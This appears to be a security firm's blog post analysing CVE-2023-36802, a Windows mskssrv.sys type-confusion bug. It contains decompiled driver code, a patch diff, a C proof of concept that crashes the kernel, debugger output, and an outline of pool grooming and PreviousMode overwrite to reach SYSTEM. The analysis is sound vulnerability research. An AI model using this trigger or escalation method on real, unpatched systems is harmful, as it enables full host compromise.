Chaining N-days to Compromise All: Part 6 — Windows Kernel LPE: Get SYSTEM
This blog post is the last series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we elevate the privilege from VMware’s limited privilege to SYSTEM to get the all authority of the host computer. The vulnerability is CVE-2023–36802, which occurs in the mskssrv.sys
driver, the same target of CVE-2023–29360 in our third blog of this series.
This vulnerability was exploited in the wild and detected by several threat intelligence group. While the analysis report of IBM X-Force is published and the PoC code of chompie1337 is released in October, Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since September 2023.
Recall the third blog
Since the target driver of this vulnerability is the same with the third blog of this series, some duplicated content will be skipped including the communication process via DeviceIoControl
, the handling process of Ioctl
request, and so on. Therefore, we highly recommend to read the third blog, which covered CVE-2023-29360, before starting this blog.
As stated in the third blog, users can reach the FSRendezvousServer::PublishTx
if the IoControlCode
is 0x2F0408
. That function is as follows.
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
/**
Validates input buffer
**/
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
// [*]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);
After validating user supplied values, the FSStreamReg::PublishTx
is called with FsContext2
as the first argument. That is, FsContext2
is used as the this
value of FSStreamReg::PublishTx
function, and we can infer the FsContext2
should be an object of the type related to FSStreamReg
.
To set the value of FsContext2
as FSStreamReg
object, FSRendezvousServer::InitializeStream
should be called, which can be reachable when IoControlCode
is 0x2F0404
.
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u); // The size of FSStreamReg is `0x1D8`
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if ( !FSStreamReg_obj )
return 0xC000009A;
// Initialize FSStreamReg
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
// Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
CVE-2023–36802
As mentioned above, obj->FileObject->FsContext2
was being regarded as FSStreamReg
type. However, is this assumption right?
Let’s take look at FSRendezvousServer::FindObject
, which checks the FsContext2
is in FSRendezvousServer
object.
char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)
{
if ( FsContext2 )
{
if ( *(_DWORD *)(FsContext2 + 0x30) == 1 )
{
// When the type number of FsContext2 is `1`
...
while ( 1 ) // Search RegObjectList
{
Type1RegObj = *(_QWORD **)(this + 0x90);
if ( !Type1RegObj || (_QWORD *)*Type1ListHead == Type1ListHead || Type1RegObj == Type1ListHead )
break;
if ( Type1RegObj != (_QWORD *)8 && Type1RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!
return 1;
FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x70));
}
}
else
{
// When the type number of FsContext2 is NOT `1`
...
while ( 1 ) // Search RegObjectList
{
Type2RegObj = *(_QWORD **)(this + 0x60);
if ( !Type2RegObj || (_QWORD *)*Type2ListHead == Type2ListHead || Type2RegObj == Type2ListHead )
break;
if ( Type2RegObj != (_QWORD *)8 && Type2RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!
return 1;
FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x40));
}
}
}
return 0;
}
FSRendezvousServer::FindObject
explicitly shows there are two types of object depending on the type number, located at 0x30
offset of FsContext2
. From FSStreamReg::FSStreamReg
, the constructor of FSStreamReg
type, we could learn the type number of FSStreamReg
is 2
.
__int64 __fastcall FSStreamReg::FSStreamReg(__int64 FSStreamReg)
{
...
*(_QWORD *)FSStreamReg = &FSStreamReg::`vftable';
*(_QWORD *)(FSStreamReg + 0x20) = FSStreamReg;
*(_DWORD *)(FSStreamReg + 0x30) = 2; // Type == 2
*(_DWORD *)(FSStreamReg + 0x34) = 0x1D8; // Size == 0x1D8
...
return FSStreamReg;
}
After analyzing the mskssrv.sys
driver, we could find the FSContextReg
object whose type number is 1
.
__int64 __fastcall FSRendezvousServer::InitializeContext(FSRendezvousServer *this, struct _IRP *a2)
{
...
FSContextReg = (__int64)operator new(0x78ui64, (enum _POOL_TYPE)a2, 0x67657243u);
if ( FSContextReg )
{
...
*(_QWORD *)FSContextReg = &FSContextReg::`vftable'; // Setup VTable
*(_QWORD *)(FSContextReg + 0x20) = FSContextReg;
*(_DWORD *)(FSContextReg + 0x30) = 1; // Type == 1
*(_DWORD *)(FSContextReg + 0x34) = 0x78; // Size == 0x78
...
}
...
obj->FileObject->FsContext2 = (PVOID)FSContextReg;
...
}
From the size of FSContextReg
(FSContextReg
is 0x78 bytes and FSStreamReg
is 0x1D8
), we could know FSContextReg
is NOT the inherit of FSStreamReg
. Because the child class inherits all fields in parents class, the child class should have equal or bigger size. In addition, there is other validation routine after FSRendezvousServer::FindObject
, FSContextReg
can be used as the first argument of FSStreamReg::PublishTx
. So, the type confusion vulnerability occurs.
If the type confusion occurs, FSStreamReg::PublishTx
will treat FSContextReg
object as FSStreamReg
type although the two objects have no inherit relationship.
__int64 __fastcall FSStreamReg::PublishTx(__int64 FsStreamReg, __int64 data)
{
//
result = FSStreamReg::CheckRecycle(FsStreamReg, data);
...
// Out-Of-Bound Access
kEvent = *(struct _KEVENT **)(FsStreamReg + 0x130);
if ( kEvent )
{
KeSetEvent(kEvent, 0, 0);
FSFrameMdlobj = 0i64;
LABEL_21:
if ( FSFrameMdlobj )
{
FSFrameMdl::~FSFrameMdl(FSFrameMdlobj);
operator delete(FSFrameMdlobj);
}
}
...
}
__int64 __fastcall FSStreamReg::CheckRecycle(__int64 this, __int64 data)
{
if ( data )
{
value1 = *(_DWORD *)(data + 0x24);
if ( value1 )
{
...
// Out-Of-Bound Access
v12 = *(_QWORD *)(this + 0x1B0);
v13 = v5 + *(_DWORD *)(this + 0x1BC);
v14 = *(int *)(this + 0x1B8);
...
}
Due to the difference of size between two objects, the type confusion leads the Out-Of-Bound access vulnerability. Attackers can leverage this primitive to gain the SYSTEM privilege by creating the memory layout.
The Patch of CVE-2023–36802
Compared module and versions : ntoskrnl.exe(x64), 10.0.19041.3086, 10.0.19041.3448
-char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)
+char __fastcall FSRendezvousServer::FindStreamObject(FSRendezvousServer *this, __int64 FsContext2)
{
if ( FsContext2 )
{
- if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) // Check Type 1
- {
- FsContextList = (_QWORD *)((char *)this + 0x80);
- /* Search Linked List to find FsContext2 */
- }
- else
+ if ( *(_DWORD *)(FsContext2 + 0x30) == 2 ) // Check Type 2
{
FsStreamList = (_QWORD *)((char *)this + 80);
/* Search Linked List to find FsContext2 */
}
}
return 0;
}
The name of FSRendezvousServer::FindObject
is changed to FSRendezvousServer::FindStreamObject
, that only searches for the FSStreamReg
object of the type number 2
.
Triggering the vulnerability
To trigger this vulnerability, we need to create a FSContextReg
object. This object can be created in FSRendezvousServer::InitializeContext
, which is called when IoControlCode
is 0x2F0400
.
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
// Initialized RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj_;
...
// Create FSContextReg Object in `FSRendezvousServer::InitializeContext`
result = FSRendezvousServer::InitializeContext(RendezvousServerObj, a1);
FSRendezvousServer::Release(RendezvousServerObj);
return result;
}
After then, we just trigger one of the vulnerable functions including FSRendezvousServer::PublishTx
(0x2F0408
), FSRendezvousServer::PublishRx
(0x2F040C
), FSRendezvousServer::ConsumeTx
(0x2F0410
), FSRendezvousServer::ConsumeRx
(0x2F0414
).
Below PoC uses FSStreamReg::PublishRx
to trigger type confusion.
#define inputsize 0x100
#define outputsize 0x100
int wmain(int argc, wchar_t** argv) {
WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // Current Process ID
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // Some Marker
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Publish RX --> Trigger OOB Access Vulnerability\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x30) = 0; // Some Value
ntstatus = DeviceIoControl(hDevice, 0x2F040C, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishRx
}
You can see crash if the verifier is enabled on mskssrv.sys
.
1: kd> r
rax=ffffd5019f2d1668 rbx=0000000000000000 rcx=ffffbf8b77206f80
rdx=ffffbf8b76e02b00 rsi=ffffbf8b77206f80 rdi=0000000000000000
rip=fffff80ffac9c9f7 rsp=ffffd5019f2d1610 rbp=ffffbf8b77045e78
r8=0000000000000001 r9=0000000000000001 r10=0000000000000000
r11=ffffffffffffffff r12=0000000000000000 r13=ffffbf8b76d60cd0
r14=ffffbf8b77207108 r15=ffffbf8b76e02b00
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
MSKSSRV!FSStreamReg::PublishRx+0x43:
fffff80f`fac9c9f7 4d3936 cmp qword ptr [r14],r14 ds:002b:ffffbf8b`77207108=????????????????
1: kd> dq @rcx L18
ffffbf8b`77206f80 fffff80f`fac941b8 ffffbf8b`77204fe0
ffffbf8b`77206f90 ffffbf8b`77204fe0 00000000`00000002
ffffbf8b`77206fa0 ffffbf8b`77206f80 00000000`00000001
ffffbf8b`77206fb0 00000078`00000001 ffffbf8b`7681f300
ffffbf8b`77206fc0 00000000`00000000 ffffbf8b`77204fd0
ffffbf8b`77206fd0 00000000`00000001 00000000`00001b80
ffffbf8b`77206fe0 43434343`44444444 00000000`00000000
ffffbf8b`77206ff0 00000000`00000000 b3b3b3b3`b3b3b3b3
ffffbf8b`77207000 ????????`???????? ????????`????????
ffffbf8b`77207010 ????????`???????? ????????`????????
ffffbf8b`77207020 ????????`???????? ????????`????????
ffffbf8b`77207030 ????????`???????? ????????`????????
1: kd> pr
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFBF8B77207108,0x0000000000000000,0xFFFFF80FFAC9C9F7,0x0000000000000002)
Driver at fault:
*** MSKSSRV.sys - Address FFFFF80FFAC9C9F7 base at FFFFF80FFAC90000, DateStamp 75a6d2bb
.
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=0000000000000070 rsi=0000000000000000 rdi=ffffd70001988180
rip=fffff800470171e0 rsp=ffffd5019f2d0a28 rbp=ffffd5019f2d0b90
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffbf8b77207108
r14=0000000000000000 r15=ffffbf8b7689d080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`470171e0 cc int 3
Exploitation
In order to exploit this vulnerability, we need to analyze how the data in out-of-bound area is used and find proper code to create a good primitive for exploit. Eventually, we could find the arbitrary decrement primitive in FSStreamReg::PublishRx
.
__int64 __fastcall FSStreamReg::PublishRx(__int64 this, __int64 data)
{
...
FrameListHead = (_QWORD *)(this + 0x188);
if ( (_QWORD *)*FrameListHead == FrameListHead ) // Empty List
return (unsigned int)0xC0000010;
for ( i = 0; i < *(_DWORD *)(data + 0x24); ++i )
{
// Save 0x188 Value to 0x198
if ( (_QWORD *)*FrameListHead != FrameListHead )
*(_QWORD *)(this + 0x198) = *FrameListHead;
while ( 1 )
{
FrameMDL = *(_QWORD *)(this + 0x198);
if ( !FrameMDL || (_QWORD *)*FrameListHead == FrameListHead || (_QWORD *)this_0x198 == FrameListHead )
break;
// Check some values
if ( *(_QWORD *)(FrameMDL + 0x20) == *(_QWORD *)(136i64 * i + data + 0x30) )
{
some_flag = *(_DWORD *)(FrameMDL + 0xD0);
FSFrameMdl::UnmapPages(FrameMDL);
// some_flag == true
if ( some_flag )
{
ObfDereferenceObject(*(PVOID *)(this + 0x38)); // Dereference EPROCESS structure
ObfDereferenceObject(*(PVOID *)(this + 0x1C8)); // [*]. Arbitrary Decrement
}
}
...
FSStreamReg::PublishRx
access the 0x188
and 0x198
Offset to find a proper FrameMDL
object. Because 0x188
and 0x198
offset is in the out-of-bound area, we can place the controllable value in it. Therefore, the conditions can be easily satisfied, and we are able to reach the code for the arbitrary decrement([*]
). The ObfDereferenceObject
function will decrement the reference count of the object at this + 0x1C8
, which is also in the out-of-bound area.
However, There was an obstacle. Since the size of FSContextReg
object is 0x90
bytes including the pool header(0x10
bytes), it will utilize LFH (Low Fragmented Heap). It means that we should allocate the 0x90
bytes to create the memory layout. To create memory layout, we can use named pipe object which is used widely to exploit vulnerabilities for NonPagedPool
, because FSContextReg
is allocated in NonPagedPool
.
If the memory layout is manipulated by the named pipe objects, it is like below picture.
As shown above picture, the offset 0x1C8
is placed in the header area of a named pipe object that is not controllable by users. To resolve this problem, we tried to find other proper objects appropriate with this situation, and found a ThreadName
object.
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
...
switch(ThreadInformationClass)
...
case ThreadNameInformation:
if ( ThreadInformationLength == 16 )
{
result = ObReferenceObjectByHandleWithTag(ThreadHandle, 0x400u, (POBJECT_TYPE)PsThreadType, prev_mode, 0x79517350u, &ThreadObj, 0i64);
...
// Validate User Address ~~~
*(UNICODE_STRING *)ThreadName_Unicode = *(UNICODE_STRING *)ThreadInformation;
...
// [1]. Allocate Non-Paged Pool with arbitrary size
NameMem = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, ThreadName_Unicode.Length + 16i64, 0x6D4E6854u);
ThreadName = (_UNICODE_STRING *)NameMem;
if(ThreadName)
{
// [2]. User data Starts from +0x10
NameArea = (wchar_t *)(NameMem + 0x10);
ThreadName->Buffer = NameArea;
ThreadName->Length = ThreadName_Unicode.Length;
ThreadName->MaximumLength = ThreadName_Unicode.Length;
// Copy User Data to the memory
memmove(NameArea, ThreadName_Unicode.Buffer, ThreadName_Unicode.Length);
...
OldName = ThreadObj->ThreadName;
ThreadObj->ThreadName = ThreadName;
...
// Free the memory for the previous name
if ( OldName )
ExFreePoolWithTag(OldName, 0x6D4E6854u);
...
}
...
}
ThreadName
can be set through the NtSetInformationThread
system call with ThreadNameInformation(0x26)
. This object is allocated in NonPagedPool
with desired size([1]
), and the data of this object is fully controllable except the first 0x10
bytes ([2]
). Moreover, there is freeing code of ThreadName
object, which is useful to create the hole ([8]
).
Using this object, we could fully handle the value at the offset 0x188
and 0x1C8
, and trigger the arbitrary decrement successfully. Through this arbitrary decrement primitive, we can change the PreviousMode
of a current thread object from User(1)
to Kernel(0)
. From here, we can use any well-known method to elevate the privilege with Kernel
thread authority.
More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.
Conclusion
This post provided the analysis of CVE-2023–36802, which is the last series of our 1-day full chain exploit. Although this blog series ends, we always analyze the threats in the world and will be back with other blog posts of other interesting research topic.
Reference
https://github.com/chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-36802
https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
🔵 website: https://theori.io ✉️ vr@theori.io